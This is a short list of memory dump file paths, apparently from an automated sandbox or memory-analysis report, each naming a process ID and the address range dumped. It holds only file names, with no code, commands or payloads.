memory/4500-2354-0x00007FF7AFDE0000-0x00007FF7B01D6000-memory.dmp
memory/4500-64-0x00007FF7AFDE0000-0x00007FF7B01D6000-memory.dmp
memory/4688-2352-0x00007FF6B77C0000-0x00007FF6B7BB6000-memory.dmp
memory/4688-43-0x00007FF6B77C0000-0x00007FF6B7BB6000-memory.dmp
memory/4692-695-0x00007FF63AFB0000-0x00007FF63B3A6000-memory.dmp
memory/4692-2363-0x00007FF63AFB0000-0x00007FF63B3A6000-memory.dmp
memory/4808-2368-0x00007FF734C20000-0x00007FF735016000-memory.dmp
memory/4808-94-0x00007FF734C20000-0x00007FF735016000-memory.dmp
memory/5004-683-0x00007FF7DBBD0000-0x00007FF7DBFC6000-memory.dmp
memory/5004-2371-0x00007FF7DBBD0000-0x00007FF7DBFC6000-memory.dmp
memory/5020-2369-0x00007FF75EAC0000-0x00007FF75EEB6000-memory.dmp
memory/5020-681-0x00007FF75EAC0000-0x00007FF75EEB6000-memory.dmp
memory/5116-17-0x00007FF6F6F60000-0x00007FF6F7356000-memory.dmp
memory/5116-2226-0x00007FF6F6F60000-0x00007FF6F7356000-memory.dmp
memory/5116-2351-0x00007FF6F6F60000-0x00007FF6F7356000-memory.dmp